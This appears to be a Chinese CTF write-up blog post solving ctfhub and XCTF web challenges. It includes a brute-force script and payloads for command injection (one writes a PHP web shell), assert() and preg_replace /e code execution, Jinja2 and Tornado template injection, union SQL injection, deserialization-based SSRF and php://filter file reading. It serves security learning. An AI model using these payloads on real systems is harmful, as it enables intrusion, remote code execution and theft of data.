ctfhub and XCTF

Http协议

基础认证

  • 这道题是个cookie欺骗类型的题目
  • 抓个包就能发现基础认证的形式是admin:password的base64的加密形式
  • 题目给了一个密码的字典 自己写了个脚本跑出了一下base64的加密形式
  • 主要记录一下自己写的垃圾脚本
import base64
import os
import re

fo = open("test/10_million_password_list_top_100.txt","r")
txt_list=[]
for i in range(0,100):
	list1 = fo.readline()
	# 123456
	list1 = "admin:"+list1
	# admin:123456
	list1 = re.sub('\n','',list1)
	# 去除换行符
	list1 = list1.encode()
	# b'admin:123456\n'
	list1 = base64.b64encode(list1)
	list1 = str(list1,'utf-8')
	print('第%i个'%i,list1)
	txt_list.append(list1)
	pass
fo.close()


fo1 = open('answer.txt',"w")
for j in range(0,100):
	fo1.write(txt_list[j])
	fo1.write('\r')

fo1.close()
print('okkkkkkkkk!!!!!')
  • 跑出来之后bp爆破一下 就能得到flag
    在这里插入图片描述

vim缓存

一、vim备份文件

  • 默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;
  • eg:index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~

二、vim临时文件

  • vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件
  • .submit.swp。如果文件正常退出,则此文件自动删除。
  • 这道题就是.index.php.swp 记事本打开ctrl+f搜一下ctfhub

.DS_Store

  • .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
  • 直接访问.DS_Store文件 下载下来 打开里面有给了个txt文件
  • 再次访问就能得到flag了 二进制文件真的头疼

RCE

过滤目录分隔符

  • 两种解法
  • 第一种:
  • 127.0.0.1&echo '<?php eval($_REQUEST[1]);?>' >1.php
  • 蚁剑连接!!!
  • 第二种
  • 127.0.0.1&cd flag_is_here;cat flag_94832961815695.php

过滤运算符

攻防世界

mfw

  • 查看源码给了提示page=flag
  • 在about页面发现了git 怀疑是git泄露 果然!!!
    在这里插入图片描述- githack下载一下源码在这里插入图片描述
  • 有个index.php文件还有templates文件夹下面有about.php flag.php concat.php home.php四个文件
  • 审计一下index.php文件 #后是自己的理解
<?php
if (isset($_GET['page'])) {
    
    
	$page = $_GET['page'];
} else {
    
    
	$page = "home";
}
# 如果没有传page参数 则默认为home
$file = "templates/" . $page . ".php";
# 拼接字符串 赋值给file
// I heard '..' is dangerous!
# assert()函数类似于eval()函数会将字符串当成php语句执行
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
  • 这里主要的知识点就是assert()函数会将字符串执行且没有像eval()一样严格要去php的格式
  • 所以这里构造了一个payload
page=a') or system("cat templates/flag.php");//
  • 得到flag
    在这里插入图片描述

shrine

  • 真的怕做到框架的题目 每次做框架 都感觉自己像没做过一样
  • 这道题直接给了源码 简单的整理一下
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')

def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
    
    {% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)
  • 这道题解题的关键就在于@app.route('/shrine/<path:shrine>')这个路由下
  • 很明显是一个ssti注入且加上了过滤
  • 将小括号替换为空字符串 且列了黑名单 config,self
  • return ''.join(['{ {% set {}=None%}}'.format(c) for c in blacklist]) + s这里会遍历一次黑名单,并且将其值设置为空,所以传入config的值为NULL 好久没看到这种形式的遍历了
  • 这样的话,我们就要想想怎么得到flag了
  • 这里利用了python的内置函数url_for
  • 具体如下
  • http://111.200.241.244:35301/shrine/%7B%7Burl_for.__globals__%7D%7D
  • 发现'current_app': <Flask 'app'>
  • 所以尝试读取一下current_app
  • http://111.200.241.244:35301/shrine/%7B%7Burl_for.__globals__['current_app'].config['FLAG']%7D%7D
  • 得到flag
  • 或者利用get_flashed_messages函数
  • http://111.200.241.244:35301/shrine/%7B%7Bget_flashed_messages.__globals__['current_app'].config['FLAG']%7D%7D

easytornado

  • 这道题在buu做过
  • 点击/flag.txt进入提示flag在/fllllllllllllag下
  • 访问后 页面跳转到http://111.200.241.244:43226/error?msg=Error
  • 看到这里就很容易想到ssti模板注入
  • 接着看welcome.txt 和 hints.txt告诉你如何得到flag
  • http://111.200.241.244:43226/error?msg={ {handler.settings}}得到cookie_secret
  • 脚本 获得加密后的filehash
import hashlib

filename = '/fllllllllllllag'
cookie_secret = 'e3f0ea2b-dbe5-4d58-a362-a024fcd60f85'
md5 = hashlib.md5() # 创建md5对象
md5.update(filename.encode('utf-8'))  # 注意一定要用utf-8编码
md5_filename = md5.hexdigest() # 得到filename的md5加密结果
md5 = hashlib.md5()  # 注意每次利用md5的时候需要重新创建md5对象 md5.update()会将每次的字符串拼接 已踩坑
md5.update((cookie_secret + md5_filename).encode('utf-8'))
md5_answer =md5.hexdigest()
print(md5_answer)
# 结果 : 9cc578c0bd00d65e9b253810e40dd065
  • http://111.200.241.244:43226/file?filename=/fllllllllllllag&filehash=9cc578c0bd00d65e9b253810e40dd065
  • 得到flag

Web_python_template_injection

  • 这道题直接告诉你是SSTI模板注入了 确定一下
    在这里插入图片描述
  • 做到这里
  • 想到了以前做过的fakegoogle
  • 尝试获取一下flag
  • { {[].__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
  • 找到flag文件
  • 之后利用
  • { {[].__class__.__bases__[0].__subclasses__()[40]('fl4g').read()}}得到flag
  • 这里推荐一下学习的文章
  • ssti入门学习

fakebook

  • 这道题一开始的sql注入我就不复习了 拿前面的用了
  • ?no=100/**/union/**/select 1,group_concat(data),3,4 from users#
    在这里插入图片描述- 接下来就是代码审计和序列化的工作了 问就是做过
  • 用dirsearch扫了一下题目 终于扫成功了一次 感动死了
    在这里插入图片描述
  • 发现robots.txt文件 访问一下 发现了备份文件/user.php.bak下载下来审计一下
<?php
class UserInfo
{
    
    
    public $name = "";
    public $age = 0;
    public $blog = "";
    # 传入注册的信息 name age blog
    public function __construct($name, $age, $blog)
    {
    
    
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
    
    
        $ch = curl_init();
        # 初始化一个curl会话 供curl_setopt(), curl_exec()和curl_close() 函数使用。
        curl_setopt($ch, CURLOPT_URL, $url);
        # curl_setopt : 请求一个url CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        # 将curl_exec()获取的信息以文件流的形式返回
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
    
    
            return 404;
        }
        # 关闭会话
        curl_close($ch);

        return $output;
    }
    public function getBlogContents ()
    {
    
    
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
    
    
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}
  • 既然curl_exec()会读取文件的内容 我们就要在curl_exec()的参数里面搞点技巧
  • 既然我们传入no=1的时候页面返回的是我们注册时候的信息
  • 那如果我们在注入的时候将序列化后的信息放在注入的1,2,3,4位置上会出现什么情况呢
    ?no=100/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"root";s:3:"age";i:18;s:4:"blog";s:9:"123qq.com";}'#
    页面返回了我们正常访问的界面
  • 既然这样我们就可以利用blog的值去获取flag
    no=100/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"root";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
  • F12 解码获取flag
    在这里插入图片描述

Cat

  • 输入127.0.0.1返回127.0.0.1对应的ping值
    在这里插入图片描述
  • 第一个反应是 命令注入 尝试127.0.0.1||ls 127.0.0.1|ls 127.0.0.1;ls等等都被过滤了
  • 已经超过我现在学习的知识了 wp看了起来(我第10086次感叹web之路的困难)
  • url编码表
  • 看了wp知道可以上传url编码
  • 例如在url上传入?url=%70会解码为?url=p
  • 利用%80超出ascii编码范围 进行报错
  • 将报错信息赋值到自己新建的1.html文件打开看会轻松点 截取部分

在这里插入图片描述

  • 得!又是框架
  • wp上说比赛时候有一个提示
RTFM of PHP CURL===>>read the fuck manul of PHP CURL???
  • 学习一下 这里提示我们用@去读取文件的内容 且在报错中告诉了我们绝对路径为/opt/api
    在这里插入图片描述
  • 但是接下来涉及到开发的知识我又开始懵逼了 先看再说
  • django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库)
  • 如果使用的是其它数据库的话settings.py则设置用户名和密码
  • 所以利用?url=@/opt/api/api/settings.py
    在这里插入图片描述- 再次去读取文件?url=@/opt/api/database.sqlite3

NaNNaNNaNNaN-Batman

  • 下载源码 看了一下是js代码 用浏览器浏览了一下
    在这里插入图片描述
  • 点击Ok没有反应
  • 再次去看了一下代码 发现结尾的eval(_) 中的_就是函数,eval改为alert
  • 赋值弹框中的代码进行审计
 function $()
{
    
    
    var e=document.getElementById("c").value;
    if(e.length==16)
        if(e.match(/^be0f23/)!=null)
            if(e.match(/233ac/)!=null)
                if(e.match(/e98aa$/)!=null)
                    if(e.match(/c7be9/)!=null){
    
    
                        
                        var t=["fl","s_a","i","e}"];
                        var n=["a","_h0l","n"];
                        var r=["g{","e","_0"];
                        var i=["it'","_","n"];
                        var s=[t,n,r,i];
                        
                        for(var o=0;o<13;++o){
    
    
                            document.write(s[o%4][0]);
                            s[o%4].splice(0,1)}
                        }
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
  • 满足正则表达式 就会输出flag 我感觉拼出来蛮难的
  • payload:be0f23233ace98aac7be9
  • 也可以直接把代码拿出来
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
                        
for(var o=0;o<13;++o){
    
    
    document.write(s[o%4][0]);
    s[o%4].splice(0,1)}    
  • 得到flag{it's_a_h0le_in_0ne}

Newscenter

  • 访问是个新闻界面 看到了Search news
  • 随便输入了个1 2 3 进去 发现1 2 都有返回新闻 3 没有返回
  • 研究猜想了一下 发现1 2 返回大概因为新闻里面有数字1和2 而 没有新闻内容中有3
  • 这里我首先想到了sql注入1'返回了一个空白页面!!! 报错被码了
  • 接着order by 判断字段数1' order by 4#页面再次报错
  • 1' uinon select 1,2,database()#
    在这里插入图片描述
  • 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
    在这里插入图片描述
  • 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
    在这里插入图片描述
  • 1' union select 1,version(),fl4g from news.secret_table#
    在这里插入图片描述

ics-05

  • 题目提示:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
  • 访问设备维护中心页面 查看源码 发现了一个?page=index.php
  • 可能是个SSRF
  • ?page=php://filter/read=convert.base64-encode/resource=index.php
  • base64解码 审计一下
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    
    

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
    
    
        preg_replace($pattern, $replacement, $subject);
    }else{
    
    
        die();
    }

}
  • 这里的考点是preg_replace 如果$pattern用了/e修饰符 则替换后的语句会被当做php语句执行
  • 所以构造如下的payload
  • ?pat=/abc/e&rep=system('ls')&sub=abc
    在这里插入图片描述
  • ?pat=/abc/e&rep=system("cd%20s3chahahaDir;ls")&sub=abc
    在这里插入图片描述
  • ?pat=/abc/e&rep=system("cd%20s3chahahaDir;cd%20flag;ls")&sub=abc
  • ?pat=/abc/e&rep=system("cd%20s3chahahaDir;cd%20flag;cat%20flag.php")&sub=abc
  • 得到flag

猜你喜欢

转载自blog.csdn.net/CyhDl666/article/details/113714545